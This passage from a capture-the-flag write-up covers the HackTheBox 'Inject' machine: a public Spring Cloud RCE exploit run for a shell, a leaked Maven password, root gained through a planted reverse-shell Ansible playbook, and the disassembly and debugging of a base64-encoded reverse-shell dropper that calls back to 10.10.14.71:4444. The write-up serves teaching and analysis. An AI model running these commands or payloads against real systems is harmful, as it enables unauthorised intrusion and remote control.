                                  <span class="nt">&lt;groupId&gt;</span>org.springframework.boot<span class="nt">&lt;/groupId&gt;</span>
                                  <span class="nt">&lt;artifactId&gt;</span>spring-boot-maven-plugin<span class="nt">&lt;/artifactId&gt;</span>
                                  <span class="nt">&lt;version&gt;</span>${parent.version}<span class="nt">&lt;/version&gt;</span>
                          <span class="nt">&lt;/plugin&gt;</span>
                  <span class="nt">&lt;/plugins&gt;</span>
                  <span class="nt">&lt;finalName&gt;</span>spring-webapp<span class="nt">&lt;/finalName&gt;</span>
          <span class="nt">&lt;/build&gt;</span>

  <span class="nt">&lt;/project&gt;</span>
</code></pre></div>    </div>

    <p>Googling <em>“spring boot 2.6.5 exploit”</em> I find: <a href="https://github.com/ckkok/spring4shell-poc">https://github.com/ckkok/spring4shell-poc</a> (CVE-2022-22965)</p>

    <p>Other useful links:</p>
    <ul>
      <li><a href="https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html">https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html</a></li>
      <li><a href="https://github.com/BobTheShoplifter/Spring4Shell-POC">https://github.com/BobTheShoplifter/Spring4Shell-POC</a></li>
      <li><a href="https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc">https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc</a></li>
      <li><a href="https://www.microsoft.com/en-us/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/">https://www.microsoft.com/en-us/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/</a></li>
    </ul>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Impacted systems have the following traits:

  Running JDK 9.0 or later
  Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and earlier versions
  Apache Tomcat as the Servlet container:
      Packaged as a traditional Java web archive (WAR) and deployed in a standalone Tomcat instance; typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted
      Tomcat has spring-webmvc or spring-webflux dependencies
</code></pre></div>    </div>

    <p>From the <code class="language-html highlighter-rouge">pom.xml</code> file I see that neither of the two dependencies are present: <code class="language-html highlighter-rouge">spring-webmvc</code> or <code class="language-html highlighter-rouge">spring-webflux</code>. So this vulnerability is not exploitable on this system!</p>
  </li>
</ul>

<p><br /><br /></p>

<ul>
  <li>
    <p>I keep looking for possible vulnerabilities from the <code class="language-html highlighter-rouge">pom.xml</code> file and I find: <a href="https://sysdig.com/blog/cve-2022-22963-spring-cloud/">https://sysdig.com/blog/cve-2022-22963-spring-cloud/</a></p>

    <p>Exploit: <a href="https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit/blob/main/exploit.py">https://github.com/J0ey17/CVE-2022-22963_Reverse-Shell-Exploit/blob/main/exploit.py</a></p>

    <p><code class="language-html highlighter-rouge">python3 exploit.py -u "http://inject.htb:8080/"</code></p>

    <p><code class="language-html highlighter-rouge">python3 -c 'import pty; pty.spawn("/bin/bash")'</code></p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc-frank">Privesc frank</h2>

<ul>
  <li>I run <code class="language-html highlighter-rouge">linpeas.sh</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Cleaned processes
  ╚ Check weird <span class="err">&amp;</span> unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes 
  frank        826  3.5 10.0 3606460 401272 ?      Ssl  06:55   3:28 /usr/bin/java -Ddebug -jar /var/www/WebApp/target/spring-webapp.jar
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Searching root files in home dirs (limit 30)
  /home/                                                                
  /home/phil/.bash_history
  /home/phil/user.txt
  /home/frank/.bash_history
  /home/frank/.m2/settings.xml
  /root/
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Searching folders owned by me containing others files on it (limit 100)
  -rw-r----- 1 root frank 617 Jan 31 16:55 /home/frank/.m2/settings.xml
    
  ╔══════════╣ Readable files belonging to root and readable by me but not world readable
  -rw-r----- 1 root frank 617 Jan 31 16:55 /home/frank/.m2/settings.xml
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Unexpected in /opt (usually empty)
  total 12
    
  drwxr-xr-x  3 root root 4096 Oct 20  2022 .
  drwxr-xr-x 18 root root 4096 Feb  1 18:38 ..
  drwxr-xr-x  3 root root 4096 Oct 20  2022 automation
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">/home/frank/.m2/settings.xml</code></p>
    <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
  <span class="nt">&lt;settings</span> <span class="na">xmlns=</span><span class="s">"http://maven.apache.org/POM/4.0.0"</span> <span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span>
          <span class="na">xsi:schemaLocation=</span><span class="s">"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;servers&gt;</span>
      <span class="nt">&lt;server&gt;</span>
      <span class="nt">&lt;id&gt;</span>Inject<span class="nt">&lt;/id&gt;</span>
      <span class="nt">&lt;username&gt;</span>phil<span class="nt">&lt;/username&gt;</span>
      <span class="nt">&lt;password&gt;</span>DocPhillovestoInject123<span class="nt">&lt;/password&gt;</span>
      <span class="nt">&lt;privateKey&gt;</span>${user.home}/.ssh/id_dsa<span class="nt">&lt;/privateKey&gt;</span>
      <span class="nt">&lt;filePermissions&gt;</span>660<span class="nt">&lt;/filePermissions&gt;</span>
      <span class="nt">&lt;directoryPermissions&gt;</span>660<span class="nt">&lt;/directoryPermissions&gt;</span>
      <span class="nt">&lt;configuration&gt;&lt;/configuration&gt;</span>
      <span class="nt">&lt;/server&gt;</span>
  <span class="nt">&lt;/servers&gt;</span>
  <span class="nt">&lt;/settings&gt;</span>
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">sshpass -p 'DocPhillovestoInject123' ssh phil@inject.htb</code> … it does not work!</p>

    <p>In the <code class="language-html highlighter-rouge">/etc/ssh/sshd_config</code> file there is <code class="language-html highlighter-rouge">DenyUsers phil</code> so I can only login with <code class="language-html highlighter-rouge">su - phil</code>.</p>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="privesc-root">Privesc root</h2>

<ul>
  <li>
    <p>I monitor processes with <code class="language-html highlighter-rouge">pspy64</code></p>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  2023/04/25 18:46:01 CMD: UID=0     PID=70651  | /bin/sh -c sleep 10 <span class="err">&amp;&amp;</span> /usr/bin/rm -rf /opt/automation/tasks/* <span class="err">&amp;&amp;</span> /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/ 
  2023/04/25 18:46:01 CMD: UID=0     PID=70650  | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/ev.yml /opt/automation/tasks/playbook_1.yml 
  2023/04/25 18:46:01 CMD: UID=0     PID=70649  | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 
  2023/04/25 18:46:01 CMD: UID=0     PID=70655  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
  2023/04/25 18:46:01 CMD: UID=0     PID=70653  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/ev.yml 
  2023/04/25 18:46:01 CMD: UID=0     PID=70657  | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
</code></pre></div>    </div>

    <p>All YAML files in <code class="language-html highlighter-rouge">/opt/automation/tasks/</code> folder are executed, can I write to them?</p>

    <p><code class="language-html highlighter-rouge">ls -al /opt/automation/</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  drwxrwxr-x 2 root staff 4096 Apr 25 21:14 tasks
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">id</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">find / -group staff 2&gt;/dev/null</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  /opt/automation/tasks
  /root
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">ls -al /</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  drwx------   6 root staff  4096 Mar  6 13:15 root
</code></pre></div>    </div>

    <p>I just have to create an evil YAML file:</p>
    <div class="language-yml highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="pi">-</span> <span class="na">hosts</span><span class="pi">:</span> <span class="s">localhost</span>
    <span class="na">tasks</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">RShell</span>
        <span class="na">command</span><span class="pi">:</span> <span class="s">bash /tmp/revshell.sh</span>
</code></pre></div>    </div>
  </li>
</ul>

<p><br /><br /></p>

<h2 id="extra-just-for-fun">Extra (just for fun)</h2>

<ul>
  <li>While running <code class="language-html highlighter-rouge">pspy64</code> I stumbled upon this command and couldn’t resist reversing the binary:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  2023/04/25 17:22:42 CMD: UID=1000  PID=26889  | /bin/sh -c echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoKDkdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==&gt;&gt;'/tmp/ccXxY.b64' ; ((which base64 &gt;<span class="err">&amp;</span>2 <span class="err">&amp;&amp;</span> base64 -d -) || (which base64 &gt;<span class="err">&amp;</span>2 <span class="err">&amp;&amp;</span> base64 --decode -) || (which openssl &gt;<span class="err">&amp;</span>2 <span class="err">&amp;&amp;</span> openssl enc -d -A -base64 -in /dev/stdin) || (which python &gt;<span class="err">&amp;</span>2 <span class="err">&amp;&amp;</span> python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl &gt;<span class="err">&amp;</span>2 <span class="err">&amp;&amp;</span> perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2&gt; /dev/null &gt; '/tmp/ACsmb' <span class="nt">&lt;</span> <span class="err">'/</span><span class="na">tmp</span><span class="err">/</span><span class="na">ccXxY.b64</span><span class="err">'</span> <span class="err">;</span> <span class="na">chmod</span> <span class="err">+</span><span class="na">x</span> <span class="err">'/</span><span class="na">tmp</span><span class="err">/</span><span class="na">ACsmb</span><span class="err">'</span> <span class="err">;</span> <span class="err">'/</span><span class="na">tmp</span><span class="err">/</span><span class="na">ACsmb</span><span class="err">'</span> <span class="err">;</span> <span class="na">rm</span> <span class="na">-f</span> <span class="err">'/</span><span class="na">tmp</span><span class="err">/</span><span class="na">ACsmb</span><span class="err">'</span> <span class="err">;</span> <span class="na">rm</span> <span class="na">-f</span> <span class="err">'/</span><span class="na">tmp</span><span class="err">/</span><span class="na">ccXxY.b64</span><span class="err">'</span>
</code></pre></div>    </div>

    <p>Spread over several lines it becomes:</p>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  /bin/sh <span class="nt">-c</span> <span class="nb">echo</span> <span class="nt">-n</span> f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoKDkdRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g<span class="o">==</span> <span class="o">&gt;&gt;</span> <span class="s1">'/tmp/ccXxY.b64'</span>
    
  <span class="o">((</span>which <span class="nb">base64</span> <span class="o">&gt;</span>&amp;2 <span class="o">&amp;&amp;</span> <span class="nb">base64</span> <span class="nt">-d</span> -<span class="o">)</span> <span class="o">||</span><span class="se">\</span>
  <span class="o">(</span>which <span class="nb">base64</span> <span class="o">&gt;</span>&amp;2 <span class="o">&amp;&amp;</span> <span class="nb">base64</span> <span class="nt">--decode</span> -<span class="o">)</span> <span class="o">||</span><span class="se">\</span>
  <span class="o">(</span>which openssl <span class="o">&gt;</span>&amp;2 <span class="o">&amp;&amp;</span> openssl enc <span class="nt">-d</span> <span class="nt">-A</span> <span class="nt">-base64</span> <span class="nt">-in</span> /dev/stdin<span class="o">)</span> <span class="o">||</span><span class="se">\</span>
  <span class="o">(</span>which python <span class="o">&gt;</span>&amp;2 <span class="o">&amp;&amp;</span> python <span class="nt">-c</span> <span class="s1">'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'</span><span class="o">)</span> <span class="o">||</span><span class="se">\</span>
  <span class="o">(</span>which perl <span class="o">&gt;</span>&amp;2 <span class="o">&amp;&amp;</span> perl <span class="nt">-MMIME</span>::Base64 <span class="nt">-ne</span> <span class="s1">'print decode_base64($_)'</span><span class="o">))</span><span class="se">\ </span>2&gt; /dev/null <span class="o">&gt;</span> <span class="s1">'/tmp/ACsmb'</span> &lt; <span class="s1">'/tmp/ccXxY.b64'</span>
    
  <span class="nb">chmod</span> +x <span class="s1">'/tmp/ACsmb'</span>

  <span class="s1">'/tmp/ACsmb'</span>
    
  <span class="nb">rm</span> <span class="nt">-f</span> <span class="s1">'/tmp/ACsmb'</span>
  <span class="nb">rm</span> <span class="nt">-f</span> <span class="s1">'/tmp/ccXxY.b64'</span>
</code></pre></div>    </div>

    <p>I disassemble the binary: <code class="language-html highlighter-rouge">objdump -D -Mintel,x86-64 -b binary -m i386 /tmp/ACsmb</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ACsmb:     file format binary


  Disassembly of section .data:

  00000000 <span class="nt">&lt;</span><span class="err">.</span><span class="na">data</span><span class="nt">&gt;</span>:
  0:   7f 45                   jg     0x47
  2:   4c                      rex.WR
  3:   46 02 01                rex.RX add r8b,BYTE PTR [rcx]
  6:   01 00                   add    DWORD PTR [rax],eax
          ...
  10:   02 00                   add    al,BYTE PTR [rax]
  12:   3e 00 01                ds add BYTE PTR [rcx],al
  15:   00 00                   add    BYTE PTR [rax],al
  17:   00 78 00                add    BYTE PTR [rax+0x0],bh
  1a:   40 00 00                rex add BYTE PTR [rax],al
  1d:   00 00                   add    BYTE PTR [rax],al
  1f:   00 40 00                add    BYTE PTR [rax+0x0],al
          ...
  32:   00 00                   add    BYTE PTR [rax],al
  34:   40 00 38                add    BYTE PTR [rax],dil
  37:   00 01                   add    BYTE PTR [rcx],al
  39:   00 00                   add    BYTE PTR [rax],al
  3b:   00 00                   add    BYTE PTR [rax],al
  3d:   00 00                   add    BYTE PTR [rax],al
  3f:   00 01                   add    BYTE PTR [rcx],al
  41:   00 00                   add    BYTE PTR [rax],al
  43:   00 07                   add    BYTE PTR [rdi],al
          ...
  51:   00 40 00                add    BYTE PTR [rax+0x0],al
  54:   00 00                   add    BYTE PTR [rax],al
  56:   00 00                   add    BYTE PTR [rax],al
  58:   00 00                   add    BYTE PTR [rax],al
  5a:   40 00 00                rex add BYTE PTR [rax],al
  5d:   00 00                   add    BYTE PTR [rax],al
  5f:   00 fa                   add    dl,bh
  61:   00 00                   add    BYTE PTR [rax],al
  63:   00 00                   add    BYTE PTR [rax],al
  65:   00 00                   add    BYTE PTR [rax],al
  67:   00 7c 01 00             add    BYTE PTR [rcx+rax*1+0x0],bh
  6b:   00 00                   add    BYTE PTR [rax],al
  6d:   00 00                   add    BYTE PTR [rax],al
  6f:   00 00                   add    BYTE PTR [rax],al
  71:   10 00                   adc    BYTE PTR [rax],al
  73:   00 00                   add    BYTE PTR [rax],al
  75:   00 00                   add    BYTE PTR [rax],al
  77:   00 31                   add    BYTE PTR [rcx],dh
  79:   ff 6a 09                jmp    FWORD PTR [rdx+0x9]
  7c:   58                      pop    rax
  7d:   99                      cdq
  7e:   b6 10                   mov    dh,0x10
  80:   48 89 d6                mov    rsi,rdx
  83:   4d 31 c9                xor    r9,r9
  86:   6a 22                   push   0x22
  88:   41 5a                   pop    r10
  8a:   6a 07                   push   0x7
  8c:   5a                      pop    rdx
  8d:   0f 05                   syscall
  8f:   48 85 c0                test   rax,rax
  92:   78 51                   js     0xe5
  94:   6a 0a                   push   0xa
  96:   41 59                   pop    r9
  98:   50                      push   rax
  99:   6a 29                   push   0x29
  9b:   58                      pop    rax
  9c:   99                      cdq
  9d:   6a 02                   push   0x2
  9f:   5f                      pop    rdi
  a0:   6a 01                   push   0x1
  a2:   5e                      pop    rsi
  a3:   0f 05                   syscall
  a5:   48 85 c0                test   rax,rax
  a8:   78 3b                   js     0xe5
  aa:   48 97                   xchg   rdi,rax
  ac:   48 b9 02 00 11 5c 0a    movabs rcx,0x470e0a0a5c110002
  b3:   0a 0e 47 
  b6:   51                      push   rcx
  b7:   48 89 e6                mov    rsi,rsp
  ba:   6a 10                   push   0x10
  bc:   5a                      pop    rdx
  bd:   6a 2a                   push   0x2a
  bf:   58                      pop    rax
  c0:   0f 05                   syscall
  c2:   59                      pop    rcx
  c3:   48 85 c0                test   rax,rax
  c6:   79 25                   jns    0xed
  c8:   49 ff c9                dec    r9
  cb:   74 18                   je     0xe5
  cd:   57                      push   rdi
  ce:   6a 23                   push   0x23
  d0:   58                      pop    rax
  d1:   6a 00                   push   0x0
  d3:   6a 05                   push   0x5
  d5:   48 89 e7                mov    rdi,rsp
  d8:   48 31 f6                xor    rsi,rsi
  db:   0f 05                   syscall
  dd:   59                      pop    rcx
  de:   59                      pop    rcx
  df:   5f                      pop    rdi
  e0:   48 85 c0                test   rax,rax
  e3:   79 c7                   jns    0xac
  e5:   6a 3c                   push   0x3c
  e7:   58                      pop    rax
  e8:   6a 01                   push   0x1
  ea:   5f                      pop    rdi
  eb:   0f 05                   syscall
  ed:   5e                      pop    rsi
  ee:   6a 7e                   push   0x7e
  f0:   5a                      pop    rdx
  f1:   0f 05                   syscall
  f3:   48 85 c0                test   rax,rax
  f6:   78 ed                   js     0xe5
  f8:   ff e6                   jmp    rsi
</code></pre></div>    </div>

    <p>Debugging: <code class="language-html highlighter-rouge">gdb ACsmb</code></p>

    <p>I load the program at the first instruction: <code class="language-html highlighter-rouge">starti</code></p>

    <p>I look at the next 15 instructions that will be executed: <code class="language-html highlighter-rouge">display /15i $pc</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  =&gt;  0x400078:    xor    %edi,%edi
      0x40007a:    push   $0x9
      0x40007c:    pop    %rax
      0x40007d:    cltd
      0x40007e:    mov    $0x10,%dh
      0x400080:    mov    %rdx,%rsi
      0x400083:    xor    %r9,%r9
      0x400086:    push   $0x22
      0x400088:    pop    %r10
      0x40008a:    push   $0x7
      0x40008c:    pop    %rdx
      0x40008d:    syscall
      0x40008f:    test   %rax,%rax
      0x400092:    js     0x4000e5
      0x400094:    push   $0xa
</code></pre></div>    </div>

    <p>Ok I’m here:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  7c:   58                      pop    rax
  7d:   99                      cdq
  7e:   b6 10                   mov    dh,0x10
  80:   48 89 d6                mov    rsi,rdx
  83:   4d 31 c9                xor    r9,r9
  86:   6a 22                   push   0x22
  88:   41 5a                   pop    r10
  8a:   6a 07                   push   0x7
  8c:   5a                      pop    rdx
  8d:   0f 05                   syscall
  8f:   48 85 c0                test   rax,rax
  92:   78 51                   js     0xe5
  94:   6a 0a                   push   0xa
</code></pre></div>    </div>

    <p>I put breakpoints before each syscall to retrieve the number of the called function in the <code class="language-html highlighter-rouge">rax</code> register:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  0x40008c:    pop    %rdx
  0x40008d:    syscall
  ...
  0x4000a2:    pop    %rsi
  0x4000a3:    syscall
  ...
  0x4000bf:    pop    %rax
  0x4000c0:    syscall
  ...
  0x4000d8:    xor    %rsi,%rsi
  0x4000db:    syscall
  ...
  0x4000ea:    pop    %rdi
  0x4000eb:    syscall
</code></pre></div>    </div>

    <ul>
      <li><code class="language-html highlighter-rouge">b *0x40008d</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  rax            0x9                 9
  rdi            0x0                 0
  rsi            0x1000              4096
  rdx            0x7                 7
  r10            0x22                34
  r8             0x0                 0
  r9             0x0                 0
</code></pre></div>        </div>

        <p>The site that I used to understand the syscalls parameters: <a href="https://filippo.io/linux-syscall-table/">https://filippo.io/linux-syscall-table/</a></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  9	mmap	sys_mmap
  %rdi -&gt; unsigned long addr	
  %rsi -&gt; unsigned long len
  %rdx -&gt; unsigned long prot
  %r10 -&gt; unsigned long flags
  %r8	-&gt;  unsigned long fd
  %r9 -&gt;  unsigned long off
</code></pre></div>        </div>

        <p>So it’s: <code class="language-html highlighter-rouge">mmap ( NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );</code></p>
      </li>
      <li><code class="language-html highlighter-rouge">b *0x4000a3</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  rax            0x29                41
  rdi            0x2                 2
  rsi            0x1                 1
  rdx            0x0                 0
</code></pre></div>        </div>

        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  41	socket	sys_socket
  %rdi -&gt; int family
  %rsi -&gt; int type
  %rdx -&gt; int protocol
</code></pre></div>        </div>

        <p>So it’s: <code class="language-html highlighter-rouge">socket ( AF_INET, SOCK_STREAM, NULL );</code></p>

        <p><em>in the third parameter 0 indicates that the caller does not want to specify the protocol and will leave it up to the service provider.</em></p>
      </li>
      <li><code class="language-html highlighter-rouge">b *0x4000c0</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  rax            0x2a                42
  rdi            0x3                 3
  rsi            0x7fffffffdec0      140737488346816
  rdx            0x10                16
</code></pre></div>        </div>

        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  42	connect	sys_connect
  %rdi -&gt; int fd
  %rsi -&gt; struct sockaddr __user * uservaddr
  %rdx -&gt; int addrlen
</code></pre></div>        </div>

        <p><a href="https://pubs.opengroup.org/onlinepubs/7908799/xns/syssocket.h.html">https://pubs.opengroup.org/onlinepubs/7908799/xns/syssocket.h.html</a></p>

        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="k">struct</span> <span class="n">sockaddr</span><span class="p">{</span>
      <span class="n">sa_family_t</span>   <span class="n">sa_family</span>       <span class="n">address</span> <span class="n">family</span>
      <span class="kt">char</span>          <span class="n">sa_data</span><span class="p">[]</span>       <span class="n">socket</span> <span class="n">address</span> <span class="p">(</span><span class="n">variable</span><span class="o">-</span><span class="n">length</span> <span class="n">data</span><span class="p">)</span>
  <span class="p">};</span>
</code></pre></div>        </div>

        <p>I print the two bytes of <code class="language-html highlighter-rouge">sa_family_t</code>: <code class="language-html highlighter-rouge">x/2bd 0x7fffffffdeb0</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  2
</code></pre></div>        </div>

        <p><code class="language-html highlighter-rouge">sa_family</code> has value 2, so it’s <code class="language-html highlighter-rouge">AF_INET</code>, nothing new!</p>

        <p><code class="language-html highlighter-rouge">sa_data</code> as it says <code class="language-html highlighter-rouge">addrlen</code> is 16 bytes so I print them: <code class="language-html highlighter-rouge">x/16bx 0x7fffffffdeb0+2</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  0x7fffffffdeb2: 0x11    0x5c    0x0a    0x0a    0x0e    0x47    0x00    0x80
  0x7fffffffdeba: 0xff    0xf7    0xff    0x7f    0x00    0x00    0x02    0x00 
</code></pre></div>        </div>

        <p>Looking at the network traffic I can understand the meaning of these bytes:</p>
        <ul>
          <li><code class="language-html highlighter-rouge">0x11 0x5c</code> = <code class="language-html highlighter-rouge">4444</code> = DST PORT</li>
          <li><code class="language-html highlighter-rouge">0x0a 0x0a 0x0e 0x47</code> = <code class="language-html highlighter-rouge">10.10.14.71</code> = DST IP</li>
        </ul>

        <p>So it’s: <code class="language-html highlighter-rouge">connect ( 3, "10.10.14.71:4444", 16 );</code></p>

        <p>The syscall does not generate traffic and crashes, skip it by going to the instruction after: <code class="language-html highlighter-rouge">jump *0x4000c2</code></p>

        <p>Or I could create a virtual interface with IP address <code class="language-html highlighter-rouge">10.10.14.71</code> which will refuse the connection.</p>
      </li>
      <li><code class="language-html highlighter-rouge">b *0x4000db</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  rax            0x23                35
  rdi            0x7fffffffdeb0      140737488346800
  rsi            0x0                 0
</code></pre></div>        </div>

        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  35	nanosleep	sys_nanosleep
  %rdi -&gt; struct timespec __user * rqtp
  %rsi -&gt; struct timespec __user * rmtp
</code></pre></div>        </div>

        <div class="language-c highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="k">struct</span> <span class="n">timespec</span> <span class="p">{</span>
      <span class="kt">time_t</span> <span class="n">tv_sec</span><span class="p">;</span>        <span class="cm">/* seconds */</span>
      <span class="kt">long</span>   <span class="n">tv_nsec</span><span class="p">;</span>       <span class="cm">/* nanoseconds */</span>
  <span class="p">};</span>
</code></pre></div>        </div>

        <p><code class="language-html highlighter-rouge">time_t</code> matches a <code class="language-html highlighter-rouge">signed integer</code> so I print its value with <code class="language-html highlighter-rouge">x/wd 0x7fffffffdeb0</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  5
</code></pre></div>        </div>

        <p>I do the same for the second value: <code class="language-html highlighter-rouge">x/gd 0x7fffffffdeb0+4</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  0
</code></pre></div>        </div>
      </li>
      <li>
        <p>I stop before the <code class="language-html highlighter-rouge">while true</code> JMP: <code class="language-html highlighter-rouge">b *0x4000e3</code></p>

        <p>And next I jump to the next instruction: <code class="language-html highlighter-rouge">j *0x4000e5</code></p>
      </li>
      <li><code class="language-html highlighter-rouge">b *0x4000eb</code>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  rax            0x3c                60
  rdi            0x1                 1
</code></pre></div>        </div>

        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  60	exit	sys_exit
  %rdi -&gt; int error_code
</code></pre></div>        </div>

        <p>So it’s: <code class="language-html highlighter-rouge">exit ( 1 );</code></p>
      </li>
    </ul>
  </li>
  <li>A faster method but that gives me less freedom: <code class="language-html highlighter-rouge">strace ./ACsmb</code>
    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="n">execve</span><span class="p">(</span><span class="s">"./ACsmb"</span><span class="p">,</span> <span class="p">[</span><span class="s">"./ACsmb"</span><span class="p">],</span> <span class="mh">0x7ffd18247980</span> <span class="cm">/* 59 vars */</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span>
  <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mi">4096</span><span class="p">,</span> <span class="n">PROT_READ</span><span class="o">|</span><span class="n">PROT_WRITE</span><span class="o">|</span><span class="n">PROT_EXEC</span><span class="p">,</span> <span class="n">MAP_PRIVATE</span><span class="o">|</span><span class="n">MAP_ANONYMOUS</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x7f6786bb9000</span>
  <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="n">IPPROTO_IP</span><span class="p">)</span> <span class="o">=</span> <span class="mi">3</span>
  <span class="n">connect</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="p">{</span><span class="n">sa_family</span><span class="o">=</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">sin_port</span><span class="o">=</span><span class="n">htons</span><span class="p">(</span><span class="mi">4444</span><span class="p">),</span> <span class="n">sin_addr</span><span class="o">=</span><span class="n">inet_addr</span><span class="p">(</span><span class="s">"10.10.14.71"</span><span class="p">)},</span> <span class="mi">16</span><span class="p">)</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span> <span class="n">ECONNREFUSED</span> <span class="p">(</span><span class="n">Connection</span> <span class="n">refused</span><span class="p">)</span>
